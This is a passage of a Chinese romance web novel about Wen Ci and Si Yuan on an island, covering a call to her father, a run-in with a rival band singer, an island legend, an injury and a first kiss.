他不由设想,如果她遇见的不是他,而是其他任意的男人,她还会不会像现在这样?
完全对人不设防。
想看电影了,就主动邀请对方来房间看电影。
高兴了,就亲对方一口。
不高兴了,就像对待章扬那样,冷冰冰的。
......
想到这些,司渊胸口的起伏忽然重了些,眉眼间也生出一抹不易被人察觉的阴郁戾气。
他有点不能接受,温辞做这些事情的对象不是他。就算她不是霍叔叔的女儿,他也不希望她对别人做这些事情。
半晌,神色逐渐平和。
好在,她遇见的是他,而非其他人。
-
温辞醒来时,房间已是一片昏暗。
记忆中,投放的那部电影早已不见。对面白墙上投放的,是系统里自带的动态图片,影影绰绰的竹林在淅沥的风雨中在无声晃动着。
她无声眨了下眼,适应了目前的环境后,支着手臂,抬起酸涩僵硬的脖颈。忽然,手掌之下,异样的触感让她的动作一顿,连带着呼吸也放轻了几分。
平坦、灼热又不失坚硬,她好像摸到了他的大腿。
也是这时,温辞忽然记起,她还邀了司渊来她的房间。借着那缕微光,温辞垂眸瞥了一眼。随即,她迅速把手掌从他的大腿根部挪开。
但脸颊还是不可抑制地烧了起来。
那个部位,实在是有点过于敏感了。
尤其是对两个只冲着对方颜值去的、才确认了亲密关系的情侣来说。
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“醒了。”
几乎是同一时间,一道低沉且莫名带着几分沙哑的声音传入她的耳中。
温辞面上故作冷静,动作却仓促无比,完全暴露了她此时的心境。
她抬头去看他,纤细白净的脖颈仰出一道诱人的弧度。司渊故意装作没有看见被她掩于背后的手,连余光都不曾投去半分。
可看着那片白皙的肌肤,他只觉得自己身上的体温甚至比她触碰、按压他时要更高一些。他尽可能让自己看起来正常,但生理性的身体反应,根本不受他控制。
温辞坐正身体,冲他莞尔:“不好意思,说好一起看电影的。可我却睡着了。”
司渊缓缓开口:“没关系,下次看也一样。”
不知是她的错觉,还是因为光影的效果,说这话的司渊,好像格外地温柔。
温辞的视线落在他的肩膀上。平整的衣服,变得异常褶皱。就像是被人攥在手心,蹂躏了千万遍。
天杀的,该不会是睡着的时候不小心流口水了吧?
温辞心中一紧,抬手往摸了摸下巴。
一手干燥,没摸到口水。
“你应该叫醒我的。”她松了口气,手掌不经意落在他的肩膀,却怎么也抚不平那几道褶皱。
司渊垂在地毯上的手指蜷了一下,麻木地痛感针扎一样袭来。靠近她的这半边身体,又僵又麻。尤其是被她触碰的地方。
两人越靠越近,偏偏她专注扯平他肩膀处衣服上的褶皱,没有任何察觉。
忽然,零星几根柔软发丝,像蛛网一样,触上他的耳垂。又因着她手上的动作,若即若离。
痒意逐渐涌上心头,小腹的肌肉逐渐变得紧绷。
“我有点热,得先回去洗个澡,晚点过来吃饭。”他尽可能让自己的语气平和,起身的动作却还是有几分突兀。
温辞愣了愣神,说了句:“好。”
看着司渊大步离开的身影,她的脑海中忽然闪过两人第一次见面那天。那时的他,好像也是像刚才一样,落荒而逃。
司渊一边脱下外衣,一边走进浴室。
他赤着上身,抬手打开花洒的同时,垂首看了一眼自己。
鼓鼓囊囊,莫名一片濡湿在浅灰色的短裤上尤其显眼。他转动开关,沁人肌骨的冰凉水柱从花洒中喷出。
这是司渊有史以来,洗得最久的一次凉水澡。
满脑子,都是温辞。
耳边,是她一声声喊他的名字的声音,清泠泠的。转瞬,又滚烫沸腾。
眼前,是她各种灵动的表情。她的一颦一笑,尽在他的脑海之中。
但他想的最多的,却是刚才。她初醒时,脸上带着压痕,懵懂抬眸看他的瞬间。
手臂不停晃动,浑身的肌肉也都异常紧绷。
好半晌,司渊穿戴整齐从浴室走出来,手里还端着一盆洗干净的衣服。
他好像打了很多沐浴露,行走坐卧间都清凉的薄荷香气。微风一吹,味道更浓了。
搭完衣服,司渊坐在院中的竹椅上,半仰着头,等头发完全干透。
他拿着手机,回复了几条信息后,终于发现了温辞发的那条四宫格的朋友圈。
滑动屏幕的手,在看到熟悉的身影时骤然顿住。神色晦暗,漆黑的眸子里生出一种说不清、道不明的异样情绪。
19. 传说
“霍叔叔,对不起。”电话接通后,司渊没有给自己后悔和退缩的机会,恰时开口。
霍懈北的声音从听筒传出来:“为什么要道歉?”
“霍叔叔,有件事情,我没有第一时间和你坦白。”司渊抿唇,停顿一瞬,艰涩开口:“我和温辞谈恋爱了。”
对面安静了片刻,司渊猜不透他,心脏却像是被一只无形的大手紧紧攥住一样,连大气都不敢喘。
他忽然有点后悔打着通电话了。他应该打视频的。这样,他还能在对面沉默时观察他的神情,不至于像现在这样被动。
“霍叔叔,对不起,都是我的错。”除了道歉,以及把所有的事情都揽在自己身上之外,他不知道还能说什么。
不知是不是错觉,他第二次道歉之后,隐约听到听筒里传出一声喟叹。
声音很轻,才入耳,便消弥无踪。
也正是因为如此,司渊这才怀疑那声轻叹的真实性。
“司渊,我没有怪你。”霍懈北的语气带着几分无奈。
司渊彻底安静下来,脸上的愧疚和不安也一点点消散。他想问为什么,嘴巴颤了颤,却没发出声音。
“我没有怪你,所以你不用一遍又一遍跟我道歉。”霍懈北似乎能感受到他此时的纠结,他又一次开口,试图一点点打破司渊砌在心里的那堵高墙。
“霍叔叔,为什么?”司渊的声音有点沙哑,眼睛里也漫上来一抹水汽。
温辞是他捧在手心里的独生女儿,而他不过是他顺手资助的穷小子,他想不明白,为什么霍懈北不生气。
霍懈北:“司渊,叔叔从来都没有因为你的出身嫌弃过你,希望你也不要再妄自菲薄。
你和阿辞也都长大了,本来就该有自己的感情生活。
与其是别人,我更希望是你。
至少,我们很熟悉。
更何况,你几乎是我看着长大的。你的为人,我放心的很。”
司渊安静听完他说的这段话,心中很是触动,当即表态:“霍叔叔放心,我有分寸,不会欺负她的。”
霍懈北被他这话给逗笑了,忍不住低喃一声:“谁欺负谁还不一定呢。”
司渊哑然,一时无话。
也是,温辞可是他的女儿。他又怎么会不清楚她是什么性情。
霍懈北又说:“你也别太担心。如果受了委屈,随时打电话告诉我,我来替你教训她。”
“霍叔叔放心,我知道的。”言外之意,司渊也听得很明白。无论如何,他都不会、也不能欺负她。
挂断电话后,司渊心里的那块大石头彻底落了地。
在此之前,他和温辞的隐秘关系,一直是他压在心中的一颗不受控制的、随时会被任何原因引爆的惊雷。
资助人和被资助人的关系,可以很单纯,无需验看出身。可如果是和被资助人的女儿谈恋爱,难免不被人骂作狼心狗肺之辈。
为此,司渊一直担心。
万一霍懈北知道他和温辞有了兄妹之外的感情瓜葛,是否会就此疏远、甚至是嫌恶他呢?
也正是因为有这个担忧,所以在两人的相处过程中,他从不主动,且一直在克制、即使他内心对温辞真的有情。
如今,霍懈北的这番话,像是给他喂了一颗定心丸。他和温辞之间,最大的阻碍已经没有了。
只要温辞愿意,他就能一直陪在她身边。只是不知道,如果温辞知晓了他的出身,听到了岛上人对他的闲言碎语,又会作何反应?
她还会继续和他谈恋爱吗?
温辞之所以和他谈恋爱,是因为看上了他的脸。可单凭美色,真的能抵御住闲杂人等的流言蜚语吗?
司渊不愿去细想,却忍不住庆幸,庆幸自己长了张能够吸引她注意力的俊脸。
平复好激动的心情之后,司渊重新打开了朋友圈,翻到那组四宫格照片,一一保存到相册。
随后,他收起手机,起身去厨房准备两人的晚饭。
半个小时后,温辞应邀而来。
司渊的厨艺还不错,她又贪多,一不小心吃得有点撑了。晚风徐徐,她不愿囿于小院之中,便主动提议出门遛弯儿。
司渊同意和她一起去,却在临出门前,拿了口罩和一顶黑色鸭舌帽。
“捂这么严实干什么?”温辞好奇,却在余光瞥见他的衣柜之中还有一顶白色同款鸭舌帽时,伸手拿了过来,学着他的动作,扣在了头上。
又因为动作粗鲁,帽檐压得有点低。所以,她只有仰着脖子,才能看到他的脸。
“好看吗?”她仰着头,喜滋滋说了句:“是情侣款唉。”
司渊抬手,帮她重新理了理帽檐,沉声应了句:“好看,带着吧。”
-
两人穿戴整齐,一同出门。
和白日里稍有不同,这一次,不等温辞主动,司渊就朝她伸出手。有了上一次牵手的经验,司渊十指相扣的动作做得半点都不含糊。
温辞诧异,不由得感叹:“司渊,你不对劲。”
“哪里不对劲?”司渊的脚步慢下来,垂首睨她一眼,缓缓开口。
“变主动了。”她晃了晃胳膊,随即把两人十指紧扣的手抬到他脸前,说:“白天的时候,你不是还不愿我牵着你的手嘛。现在是怎么了?转性了?我都怀疑,你还是不是司渊了。”
司渊就知道,只要她想,没有任何人能够从她嘴上讨得便宜。
就譬如现在,他不过是主动牵了她的手。
明明她心里也希望他主动的,眉眼间更是因为他主动去牵她手的动作扬起一抹笑意,却仍口不饶人。
司渊又想起下午和霍懈北打的那通电话,无奈摇摇头,低喃一声:“果然。”
“果然什么?”温辞追问。
“果然,只有你欺负我的份。”话落,司渊牵着她手的力道加重几分,使得她挣脱不开。
温辞挑眉:“哎,你说清楚,我什么时候欺负你了?”
话落,她另一只手啪的一声拍到了他的胳膊上。当即,他的胳膊红了一片。
“就现在。”司渊垂首,神色无辜,语气更无辜。
...
两人一路打打闹闹,却始终牵着对方的手,谁也没有松开。
环岛一圈,温辞总算是消了食。
体力逐渐匮乏,脚步也跟着慢下来。连带着,司渊的速度也跟着慢下来,迁就着她的步伐,与她并肩而行。
岛上游客众多,俊男靓女亦是不少。
司渊带着帽子和口罩,旁人看不见他的长相,以为他是普通游客,便少了那些充满了窥伺和恶意的打量目光。
温辞安心,他便自在。
不知不觉,两人逛到‘逅岛’演出的广场。
温辞牵着他,娴熟挤进人群,疲意退去,一脸兴奋,说:“前几天,我看过他们的演出,特别精彩。没想到,今天又赶上了。”
司渊并不习惯游挤于喧嚷的人群,步子慢了些,她转过头催促:“哎呀,你走快点,一会儿演奏该结束了。那我们可就什么也看不到了。”
司渊只好跟上她。
没一会儿,两人先后挤到了前排。
司渊对逅岛的演出不感兴趣,他的目光,大多停留在温辞身上。
“奇怪,鼓手怎么换人了?”
温辞扫了一眼舞台上的乐队众人,视线从纪笙身上转移到她身后的架子鼓手身上,凑在司渊耳边低语:“上次来,鼓手好像是个男生。莫非,是我记错了?”
“不可能啊。”温辞清楚记得,那天她好像还和那人对视了一眼。
同时,司渊瓮声开口:“你没记错。上次的鼓手,的确是个男生。”
温辞:“你怎么知道?那天你也来了?”
“嗯。”司渊点点头,口罩之下的面颊却浮出一抹酡红。为了待会儿开口要说的话。
原来,在喜欢的人面前孔雀开屏是这样的感觉。
“那天的鼓手,是我。”
“你还会乐器啊?”温辞眸子里闪过一抹诧异和惊喜,脑海中浮现出那日隐于黑暗之中的身影。
“难怪当时我觉得那道身影眼熟呢。那天,你是不是在台上看见我了?”她问。<
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p>司渊嗯了一声,低垂的眉眼之中,漾出一抹柔情。
温辞看了他一眼,又转过头,把视线落在台上的纪笙身上。那日,她看得分明,纪笙看他的眼睛里,盛满了情意。
纪笙长得很好看,嗓音的条件也好。单论外形,司渊和她,是极为相配的。
想到这里,温辞的心里忽然生出一阵郁气。她有点不开心,尽管现在司渊是她名义上的男朋友。
不知是因为温辞投向舞台的目光太过专注,还是因为纪笙对司渊的情意过浓,就算是司渊把自己弄得如此严实,单凭一道身影,仍能认出他来。
她打量纪笙的同时,纪笙也恰好把目光落在了她和司渊身上。
司渊始终垂着头,帽檐宽大,把他的视线遮挡的严严实实。他专注于温辞,并没有察觉到台上投来的热切目光。
反倒是温辞,第一时间发现了纪笙投来的视线。她的眼神,探究多过好奇。
四目相对,温辞不惧,并冲她笑了笑。
她对纪笙并无恶意。更何况,温辞心中明白,司渊对她应无意。不然,这样的好相貌,也不会轮得到她了。
可纪笙却并非如她这般,她显然已经把温辞当做了情敌。面无表情白了温辞一眼后,转而看向了她身侧的司渊。
温辞不想在她面前‘秀恩爱’,她默默将两人十指紧扣的手掩于身后,又用手肘碰了碰司渊的侧腰,说:“司渊,乐队的主唱好像在看你。”
司渊抬头,用手指顶了顶帽檐,看了纪笙一眼。
纪笙兴奋冲他挥手,双眸也似盛满了星星,与看温辞的目光不同,嗓音也带着几分蜜意。
司渊倒是没有什么特别的反应,平淡扫了一眼,便挪开了视线。
温辞乜他一眼,恹恹开口:“好听吗?”
“不好听。”司渊立刻摇头:“和听歌相比,我更喜欢看电影。”
温辞冷哼一声:“油腔滑调,懒得理你。你自己在这听吧,我回去了。”
话落,她耍性子甩开他的手,转身,便要往外走。经过这么一番,她早已经没了听歌的兴致。
司渊看着空荡荡的手掌心愣了一下,抬步便要追上去。他的手指刚触及她的手腕,正准备同她一起走,嘈杂的音响里,歌声忽然顿住,纪笙急促的喊声,响彻广场上空。
“等等。”
众人的目光,连同闪耀的灯光,一起落在纪笙身上。而纪笙的眼里,却好似只装得下司渊。
见他毫不留恋地跟着一个女生转身离开,情急之下,纪笙打断了演奏,荒唐喊停了他。
可他并没有回头,甚至连脚步也不曾停下。
反倒是温辞,尽管她也没有回头,但她停下了脚步,侧目和司渊低语:“我去外面等你。”
说完,不等司渊回应,她又一次松开他的手,逆着人潮,走了出去。
温辞没理会身后的喧嚣,走出人群,来到她上次坐着的那把长椅处,只是那把长椅上坐满了人。
温辞正准备换个地方,粗略一瞥,看到了那个卖气球的阿婆。她一脸神秘,正同周围零星的几个游客说着什么。
温辞走近,侧耳听了一会儿,阿婆正在讲述庚辰岛的传说。她闲着无聊,司渊又被琐事绊住脚,便站在那儿听了一会儿。
阿婆说:
很久很久以前,这个世界上是没有庚辰岛这座岛屿的。
神魔大战之后,神龙陨落,坠入深海,身体化做岛屿,便是如今的庚辰岛。
庚辰岛,所谓庚辰二字,便是神龙的别称。就连地图上,庚辰岛的形状都好似一条盘旋在深海的石龙。
温辞一边听,一边拿出手机,在浏览器里输入‘庚辰’二字,以验证她话中的真假。
网页上密密麻麻的介绍被她粗略扫过,最后,她把视线定格在一段话上,同时,她对这个传说产生了一点好奇。
【庚辰,应龙的雅称。】
随即,她又打开了地图APP,正如阿婆所言,庚辰岛的形状,宛若一条长了翅膀的游龙。
她正看得出神,身后传来一阵急促脚步声,司渊赶了回来。
20. 心动
-
见司渊顿住脚步,纪笙笙脸上展露出无比灿烂的笑意。她稍一回转,把话筒递给了位于她身后的鼓手。
下一秒钟,不同于纪笙笙演唱风格的甜美女音响彻广场上空,又迎来好一阵喝彩。
于一众游客的好奇目光之中,纪笙笙动作利落地从舞台上跳下来,跑向司渊。
她知道,司渊不喜欢张扬,便一直没有高声喊他的名字。而是走近了,她才低唤了一声他的名字。
“司渊。”
话音未落,她已经绕到了司渊面前,仰头和他对视。
司渊戴着帽子,看不见他蹙起的眉眼。他想不明白,他都捂得这么严实了,为什么还能有人认出他。
尤其是,当他无意垂眸,对上纪笙笙那双情意满满的双眸时,他更是觉得无奈和烦躁。
“有事吗?”
司渊冷冷开口,没有半点温度,甚至有几分不耐。
纪笙笙愣了一下,脸上的笑意也淡了些。
刚才,她明明看见司渊主动去牵站在他身边女生的手腕,而且还丝毫不避讳地俯下身子,侧耳听她说话。
那时的司渊,站在他最嫌恶的喧嚷人群之中,周身却没有拒人于千里之外的清冷,举手投足间满是温柔。
就算是在梦中,她也不曾感受过如此温柔的司渊。纪笙笙站在舞台上遥望,一脸艳羡。
眼看着他就要和那个女生离开,情急之下,她打断演出,脱口唤住了他。
其实,话一出口,她就有些后悔。因为她知道,司渊不喜张扬。她在众目睽睽之下喊住他的这个举动,他一定是不喜的。
纪笙笙本以为,凭着司渊的性子,他是不会因为她唤了他一声就停下脚步的。可她没想到,司渊竟真的停了下来。
纪笙笙喜不自胜,连心思也在飘忽。直到司渊那句极为不耐地话语传入她的耳中,她才清醒了几分。
但她的心中,仍存在几分侥幸。她也想亲眼看看,亦或是亲自感受一番他的温柔。
纪笙笙问他:“司渊,你是来特意看我演出的吗?”
“不是。”他没有半点犹豫,冷冷开口。
纪笙笙咬唇,面上闪过一丝尴尬,却仍不死心,又一次开口:“那...那刚才站在你身边的女孩是...”
“是我女朋友。我之所以会来看你们演出,也是为了陪她。”不等她把话说完,司渊就打断了她,没有给纪笙笙丝毫遐想的机会。
纪笙笙听了,笑意隐去,连脸色都白了几分。半晌,才又磕巴着问出一句:“你什么时候交女朋友了?”
司渊并没有回答她这个问题:“这是我的私事。你还有事吗?我女朋友还在等着我,没事的话,我得走了。”
纪笙笙摇了摇头,司渊大步绕过她,向广场外围走去。
她并没有立即返回舞台,而是有些失落地看着司渊越走越远的背影。很快,那道高大的身影被人群遮挡,隐入夜色。
忽然,纪笙笙的心中生出一股专属于少年人的冲动。她想看看,司渊的女朋友究竟是何方神圣。
于是,纪笙笙冲着司渊离开的方向追了过去。游客们都围在一处看乐队的演奏,他逆向而行的身影也很好辨认。
三两步后,司渊的身影重新映入她的眼帘。
他步履匆忙,四处张望着。
单是看着背影,就能感觉出来他的急切。
忽然,他的视线顿在一处。
纪笙笙顺着他视线的方向望去,一眼就注意到了那道倩影。她头上戴着的那顶白色鸭舌帽,在暗夜中格外显眼。
紧接着,他大步朝着那边走去。
纪笙笙并没有立即追上去,始终和他保持着一定的距离,而是远远跟着。她把尺度拿捏的很好,既能看清司渊的神情和动作,又不至于让他发现她的身影。
-
自温辞甩下他离开后,司渊就一直为此悬着心。
他本想立即追上去,可耳边又回响起她临走时说的那句‘我在外面等你’,温辞显然是要他和纪笙笙说清楚的。
他也觉得,今天的确是个可以和纪笙笙说清楚的好时机。
犹豫再三,司渊没有立即追上温辞,只是用视线一直追着温辞的身影。
虽然纪笙笙站在他面前,但他的脑海中浮现的,依旧是温辞刚才没有任何留恋地松开他的手、把他一个人遗弃在这喧扰的人群中的画面。
所以,整个对话过程,他都有点心不在焉,甚至是不耐烦。
当温辞的身影彻底在他的视线消失之后,司渊匆匆结束对话,大步朝着她消失的方向奔去。
广场上人潮如织,他扫了一圈都没有看到温辞的身影,当即便慌了神。他拿出手机,正准备给她打电话,余光扫过广场角落,悬着的心终于落了地。
他松了口气,收起手机,大步朝着温辞走过去。可走到她身后,又不知该说些什么,便一直沉默。
司渊在她身后站了一会儿,视线一直没从她身上挪开。
长椅上,钟家阿婆正给围在附近零星几个游客讲述庚辰岛相关的传说。温辞听得一脸认真,半点没有注意到他的靠近。
司渊本不想打扰她,可又想让温辞第一时间发现他已经来到了她身边。
于是,他又往前走了一步,与她并肩而立。怕她发现不了自己,他连呼吸都加重几分。
可就算这样,温辞依旧没有注意到他。别说是转过头来看他了,就连余光都没往他身上瞥。
司渊抬了抬手,用手肘碰了一下她的手臂。他本以为,他弄出点动静出来,她总归是要回头看他一眼的。
可她没有。
非但没有,还特意往另一边侧了侧身子,完全背对他,双臂环于胸前,整个人呈现出一种防御姿态。
他无奈叹了口气,微微俯身,轻声说了句:“是我。”
司渊笃定,他刚才的话声音虽然小,但能够准确无误传到了她的耳朵里。同时,他也笃定,她认出了他的声音。
可温辞不仅没有转过身,还颇为嫌弃地往挪动脚步,离他更远了些。
司渊眸色一沉,心情又重新变得忐忑不安。
他知道,她是生气了。可是,气到什么程度呢?
司渊不知道。
于是,他伸出手,试图去牵她的手腕。指尖触到她手腕肌肤的瞬间,却又被她给躲开了。
同时,她回头瞪了他一眼后,大步离开了。
司渊彻底傻了眼,眼睁睁看着她走出去好远,他才晃过神来。随即,大步追了上去。
悄无声息的,两道身影从一前一后到并肩而行,离开了广场。
除了遗憾没有看清他口中所谓女朋友的长相,纪笙笙的心里,还是有几分不甘心的。
但她并没有追上去。而是眼看着这两人从一前一后、到并肩而行,逐步离开广场。
同时,她也终于意识到,不甘心又如何,纵司渊真的有千般柔情又如何?他对她的态度,始终冷淡。
-
这一边,温辞却是越走越生气。
原因有二:
其一,是气司渊。<
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p>其二,是气她自己没有容人的肚量。
尽管在很多时候,她有些骄纵。
但她依旧认为,自己不是一个小气的人,更不该因为司渊和别的女生说几句话就生气。可偏偏,她就是生气了。
在她百无聊赖听阿婆讲故事,他又迟迟没有追过来的时候。
最开始,温辞甚至都没有察觉到自己生气这一点,她只是觉得自己有点不开心。不知道为什么,当司渊的脚步声传入她的耳中后,她心里的那点情绪忽然就放大了很多。
后来,温辞想,或许是因为司渊从一开始就给了她极大的安全感。以至于她潜意识里认为,就算是她闹一下,他也只会对她束手无策,而非一顿说教。
-
温辞虽大步埋头往前走着,但她却时不时用余光去打量司渊。
她想看看,他有没有当人男朋友的自觉。所以,她强忍着冲动,没有主动开口问他。她就是想看看,她不问,他会不会主动跟她解释。
司渊追上她后,虽然一直跟着,却始终一言未发,更是没有丝毫想要和她解释的意思。
她越想越气。
越是气愤,她的步子也就迈得越大,势必要将他远远甩在身后。可没一会儿,他就又追上来,气定神闲走在身侧。
不知是跟他较劲,还是跟自己较劲,温辞强压下开口的冲动,一路寡言,连余光也不再往司渊身上瞥去。
司渊更沉默了。除了脚步声,他再没发出任何声音。
临到巷口,温辞忽然听到啼鸦的叫声。继而,耳边又传来一阵它大力振翅的响动。
尽管司渊不止一次跟她保证,它不会无故伤人。但因着前两次的惊吓,她心里对这只大鸟始终有些畏惧。
下意识的,她仰头扫向夜空,生怕啼鸦从她看不到的方位冲过来。
似是发现了司渊的身影,啼鸦在两人头顶兴奋地盘旋。
温辞的注意力全在啼鸦身上,没怎么注意脚下,一个不留神,大半个脚掌踩进一个浅坑。等她回过神来的时候,为时已晚。
一声惊呼之后,身体往堆在道路两侧的碎石墙上倾去。她来不及抬手去护住自己的脸,甚至已经在心里做好了被碎石刮伤肌肤的准备。
“小心。”司渊的声音传入她耳中的瞬间,一只大手紧紧攥上了她的手腕。
不知道是不是温辞的错觉,和他平时说话的声音相比,少了丝低沉,多了抹焦急。
他的力气很大,一把将她拽离了碎石墙。而他自己,则因为这力道,后背狠狠撞上了矮墙。
温辞被他护在怀里,都隐隐听到一声闷响。不用想也知道,是他的身体撞上碎石墙的声音。
她倒下的瞬间,视线曾在满是尖锐碎石的矮墙上停留。按照他刚才的力道,那些石刺应该已经划伤了他。
可他除了最开始喊出的那句小心,他再没发出任何声音,连呼吸都放得很轻。
她满脑子都在想:如果他真的被矮墙划伤,那该有多疼啊。
温辞喉腔一涩,仰头看向他的同时,忍不住瑟缩了一下。同时,她也清晰感受到,自己胸腔里的那颗心脏,在她的眼神触到他漆眸的瞬间,强有力跳动着。
原本温辞以为,在她和司渊第一次见面那天,她就心动了。因为他那张脸。但现在她觉得,那时候酸涩的情绪,只能勉强称得上是对他有好感。
而刚刚,她心动了,不同于以往任何时候,也不单单是因为他那张脸。
打动她的,是他的举动。
尽管他沉默寡言的样子,她不是很喜欢。
21. 别装
--
温辞的反应,司渊全都看在眼里。
他脑海中浮现出刚才在广场上她奋力躲避他的触碰、以及这一路上,她拼了命想要和他拉开一些距离的画面,便误以为她是因为厌恶他的触碰,所以才会下意识瑟缩。
司渊滚了滚喉结,不动声色打量她一眼,问:“还好吗?有没有哪里受伤?”
温辞摇摇头。
他嗯了一声,见她稳住了身形,松开了她的手腕和腰肢,退后一步,主动和她拉开一些距离。
温辞心系他后背的伤势,没有过多在意他的动作,反而也跟着往一旁挪动两步,只是为了能够一览无余看清他的后背。
她也想过直接开口问,可依着司渊的性子,他一定会说没事,且会一直防备着,不让她检查他的伤势。
见司渊定在原地迟迟不动,她又说了句:“你走前面。”
就算是隔着鸦黑的帽檐和口罩,温辞也明显感觉到他愣了一下。司渊一言不发地转过身,走在她前面。
他想不明白,为什么两个人不能像刚才那样并肩而行。
是不是因为他刚才没有经过她的允许抱了她,所以她非但不愿意看他、就连和他并肩也不愿意了?
温辞并不知道他此刻的心思,她把视线落在他的后背上。他穿的黑色短袖,路灯的光线又暗,她根本什么也看不出来。
司渊比她先一步拐入巷口,温辞满脑子都在想他到底有没有受伤,根本没有注意到他忽然消失的脚步声。
又因为帽檐遮挡了她的视线,更是没有第一时间发现堵在她身前的那道身影。她才拐过弯,咣唧一下,一头撞到了他身上。
司渊停下脚步后,就转过身来,静等着她走过来。
他是不开心的。从温辞不让他和她并肩而行开始。
他有很多问题想要问她,从她在广场上甩开他的手,他就想问。可他一直忍着,直到刚才,他的忍耐好像到了极限。
自从他和霍懈北打完那通电话之后,他的心态就发生了一些变化。
他从心底里把温辞当成女朋友,而不是之前那种因为霍懈北说的话,就真的只把她当成妹妹,不敢去细想他对她到底是个什么关系。
他也知道,温辞之所以闹脾气,是因为他和纪笙笙的关系。
思索再三,他选择停下来。
他是眼睁睁看着温辞撞到他怀里来的,并没有出言提醒,而且还在她捂着脑袋准备后退的时候,用手臂圈住了她。
温辞仰起头,用食指顶了顶盖住眼睛的帽檐,问他:“你干嘛?”
“我...我有话想跟你说。”司渊抿了抿唇,原本酝酿在齿关的话,在对上她眼神的瞬间,忽然有些说不出口。
温辞虽讶异他的动作,但更多的却是担心。她担心他圈住她的动作会牵动他后背的伤势,便挣扎着想要脱离他的怀抱。
“不放。”司渊冲她摇了摇头,语气坚定:“话没说完之前,我不放。”
因为他的这句话,温辞胸腔里那颗本就不太安稳的心脏又一次剧烈跳动起来。他的手臂苍劲有力,灼热的体温隔着单薄的衣料从后腰袭来,逐渐蔓延周身。
温辞虽好奇司渊的态度转变如此之快的原因,却没有破坏此时的气氛立即问出口。
她噢了一声,冲司渊眨了下眼睛,计上心头。但还是不动声色说了句:“你说吧,我听着。”
司渊:“我跟她就是认识,没有任何私密关系。而且,我...”
正说到兴起,温辞有了新的动作。司渊垂眸看了一眼攥上他腰身两侧衣角的手,骤然失声。
“怎么不说了?而且什么?”她神色如常,语气平和,仿佛趁他不备做出这样举动的人不是她一样。
“而...而且,我跟她说,我已经有女朋友了。”
司渊别开视线,努力把自己的注意力落在她的脸上,而不是他的腰间。可那阵异样的触感,就像是有人用无数根狗尾草挠他的脚底心一样,无论如何都忽略不了。以至于,连说话的语气都带着几分急促和羞赧。
“你告诉她我是你的女朋友了?”
她一边问,一边收紧横亘在他腰间的双臂。
司渊的身形明显僵了一下。
“嗯。”他点点头。
“除了这个,你们还说什么了?”为了转移他的注意力,她的声音越发甜腻。同时,手掌一寸一寸往他后背探去。
不出她所料,掌心沾染了一片濡湿。
她的手掌按压到他后背的伤势,引得阵阵滞痛。口罩之下,他齿关紧咬,下颌绷成一条线。
司渊脑中一片空白。听到温辞这么问,他甚至回想了一下他和纪笙笙的谈话内容。他张了张嘴,正准备回答,却又被她开口打断:“我...”
温辞仰着头,又往前走了一步,下巴几乎抵上了他的胸膛,问:“司渊,你疼不疼?”
“什么?”他拧了拧眉,一时没有反应过来她为什么会这么问。话音未落,他只觉腰间一松,横亘在他腰间的双手撤去。
下一秒,温辞把沾染了零星血丝的手掌举到他面前,一脸欲言又止。
司渊也终于反应过来,她之所以会对他热情,之所以会学着他的动作一点一点环上他的腰身,不过是为了验证他后背是否有伤罢了。
睫毛颤了颤,司渊垂下眼眸,掩去眼中的失落。
“我刚刚就注意到,那面矮墙上的碎石有几个尖锐的棱角。”
“你受伤了怎么不说啊?”
温辞一边说一边用手去扯环在她腰间的他的胳膊,试图从他怀里挣脱出来,想尽快帮他处理一下伤口。
可两人的力量实在是太悬殊。她好不容易掰开几根他的手指,他顺着她的动作,卸掉了其中一只手的力度。
“天气这么热,必须得尽快处理,搞不好会感染的。还好家里有药箱,不然就得去医院了。”温辞还在喋喋不休。
司渊垂眸看着她启合不定的嘴巴,鲜活之余,他忽然觉得有点吵闹。
是以,不等温辞完全从他的怀中脱离出来,箍着她后腰的那条手臂骤然用力,将她整个人往自己怀里带了一下。
两人贴合得更加紧密。
同时,他单手摘下口罩,转而捏上了她的后颈。稍一用力,她仰头的幅度更大了些,整张脸都暴露在他的视线之中。
温辞惊呼一声,他趁势倾下身,微微歪着脑袋,错开狭长的帽檐,覆上了她的嘴巴。他的黑色帽檐蹭
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过她的耳廓,白皙的肌肤浮上一抹绯色。
唇齿被撬开,他往更深处探去。她来不及说出口的话,化为一阵呜咽,断断续续地传入他的耳中。
分不清是谁传染的谁,司渊没有任何预兆的亲吻,让两个人的体温越来越高。
他莫名的强势举动,让温辞的情绪也产生了翻天覆地的变化。
她对司渊并不排斥。
所以,自始至终,她都没有想过要推开他。她也从惊讶、好奇,到逐渐接受。
温辞也并非是个逆来顺受的性子,适应了司渊的气息和动作后,她也照猫画虎,笨拙地模仿他的动作,两人的唇舌在逼仄濡湿的口腔中相互追逐起来。
在空无一人的巷子拐角。
咸湿的海风拂过,吹掉了她脑袋上的鸭舌帽。
啪嗒一声,两人的理智逐渐回归。
温辞率先睁开眼睛,可司渊丝毫没有想要松开她的意思,动作一如既往地强势。
她挣扎了一下,却如蚍蜉撼树。
温辞恍惚眨了下眼,司渊双眼紧闭,正亲的入神。不得已,她唇齿稍启,狠狠咬了下去。
“嘶。”骤然而起的疼痛感,让司渊不得不松开齿关,继而松开了她。
温辞娇嗔一句:“活该。”
眉眼之中的妩媚却是如何也遮掩不住。
“抱歉。”司渊滚了滚喉结,声音无比沙哑。他弯下腰,捡起帽子,拍去浮尘,重新戴在她的脑袋上。
两人极有默契,视线不约而同落在对方的嘴巴上。
月色皎洁,两人的唇上皆泛着晶莹的水光,但又有不同。司渊的下唇上,还有一道异常明显的齿痕。
温辞先他一步瞥开视线,扯过他的腕子,说:“跟我来。”
她始终惦记着他后背的伤势,拉着他往别墅走。
司渊跟着她走了一段距离,临近门口,他的脚步逐渐慢下来。
一想到温辞待会儿会帮他清创,他忽然有点扭捏。他也说不清此时自己究竟是何种心理,只是不想让她看到他后背的擦伤。
于是,他彻底顿住了脚步。
温辞转过头,问:“怎么不走了?”
司渊:“我家也有药箱,我可以回去自己处理。”
温辞:“你后背又没长眼睛,你怎么处理?”
“已经很晚了,去你家不太合适。”司渊抿唇,口腔弥漫着些许血腥气。她刚才下嘴的力道太重,将他的唇壁都咬破了。
温辞却不以为意,斜睨他一眼,嘟哝了句:“少来,别装啊。亲都亲过了,你还在意这些?你不就是不想让我看到那些伤吗?”
她直接点破他的心思,倒是让司渊面上一热。
温辞非但没有松开他的手,反而又加了点力气,扯着他往家走。司渊没再挣扎,一言不发跟上去。
她拿了医药箱,又命司渊趴在沙发上,把短袖掀到肩膀下面,打量他的伤势。
